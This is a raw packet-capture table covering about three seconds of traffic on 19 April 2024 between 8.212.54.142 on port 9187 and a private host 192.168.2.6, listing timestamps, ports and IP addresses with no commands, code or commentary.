Apr 19, 2024 01:34:00.084543943 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084563017 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084580898 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084598064 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084604979 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.084615946 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084635019 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.084635973 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084655046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084667921 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.084671974 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084691048 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084705114 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.084707975 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084726095 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.084726095 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084767103 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.130409956 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.283911943 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.283934116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.283951998 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.283970118 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.283987999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284006119 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284022093 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.284024954 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284043074 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284060955 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284077883 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284087896 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.284096003 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284112930 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.284123898 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284138918 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.284142971 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.284195900 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.484168053 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484225988 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484265089 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484303951 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484323978 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.484342098 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484376907 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.484379053 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484416008 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484448910 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.484452963 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484488964 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484513998 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.484525919 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484563112 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484580040 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.484600067 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484637976 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.484647036 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.536653042 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.683945894 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.683994055 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.684029102 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.684087038 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.717329979 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717370987 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717408895 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717427015 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.717447042 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717478037 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.717485905 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717523098 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717540979 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.717561007 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717617035 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717653990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717670918 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.717693090 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717706919 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.717730999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717770100 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717807055 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.717822075 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.717858076 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.918462992 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.918529034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.918570995 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.918628931 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.918668032 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.918771982 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.918889046 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.918889046 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.240725994 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.240773916 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.240809917 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.240848064 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.240889072 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.240927935 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.240963936 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.241003036 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.241005898 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.241005898 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.241005898 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.241050005 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.241055012 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.241072893 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.241086960 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.241101980 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.241137028 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.241170883 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.241215944 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.439920902 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.439987898 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440026999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440068007 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440124035 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.440124035 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.440135002 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440175056 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440212965 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440227032 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.440251112 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440289974 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440295935 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.440330982 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440387964 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.440393925 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440444946 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440483093 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.440493107 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.489845991 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.640350103 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640414953 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640456915 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640500069 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640537024 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640577078 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640594959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.640594959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.640614033 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640630007 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.640654087 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640693903 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640732050 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640769958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640809059 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640850067 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.640866995 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.640866995 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.640866995 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.692922115 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.840131044 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840195894 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840240002 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840259075 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.840280056 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840320110 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840321064 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.840359926 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840396881 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840404987 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.840435028 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840472937 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840482950 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.840512991 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840549946 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840555906 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.840589046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840627909 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:01.840632915 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:01.880405903 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.042876005 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.042933941 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.042973995 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.042975903 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.043011904 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043049097 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043050051 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.043087959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043124914 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043143988 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.043164015 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043201923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043210983 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.043242931 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043281078 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043291092 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.043318033 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043356895 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.043361902 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.083673954 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.240645885 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240727901 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240767002 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240780115 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.240806103 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240844011 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240844011 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.240884066 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240921021 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240922928 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.240958929 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.240998030 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.241019011 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.241035938 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.241072893 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.241080046 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.241110086 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.241147041 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.241163015 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.286628962 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.440033913 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440129995 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440174103 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440192938 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.440213919 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440252066 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440267086 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.440290928 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440329075 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440335989 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.440370083 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440407038 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440419912 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.440445900 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440485954 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440505028 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.440524101 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440568924 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.440615892 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.640039921 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.640124083 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.640161037 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.640284061 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.673002005 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673177958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673245907 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673285007 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673350096 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673387051 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.673388958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673387051 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.673419952 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.673445940 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673484087 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673522949 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673561096 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673599958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.673629045 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.673629045 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.675576925 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.675576925 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.997648001 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.997716904 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.997756004 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.997795105 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.997808933 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.997837067 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.997852087 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:02.997876883 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.997916937 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:02.997967958 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.097413063 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097479105 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097518921 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097558022 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097562075 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.097601891 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097609043 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.097642899 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097683907 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097723961 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097733974 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.097762108 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097800016 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.097800016 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097840071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097872972 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.097878933 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097918034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.097968102 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.297277927 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297344923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297384977 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297422886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297465086 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297502995 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297542095 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297549009 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.297549009 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.297580957 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297605991 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.297619104 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297626019 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.297655106 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297694921 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297734976 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297775984 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.297837973 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.297837973 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.497066021 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497132063 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497173071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497191906 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.497229099 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497279882 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.497297049 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497335911 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497375011 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497385979 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.497412920 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497453928 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497467041 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.497492075 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497529984 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497541904 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.497567892 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497606039 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.497618914 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.552289963 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.697352886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697417974 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697458982 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697474003 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.697499037 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697540045 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697546005 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.697578907 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697593927 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.697618961 CEST	9187	49739	8.212.54.142	192.168.2.6
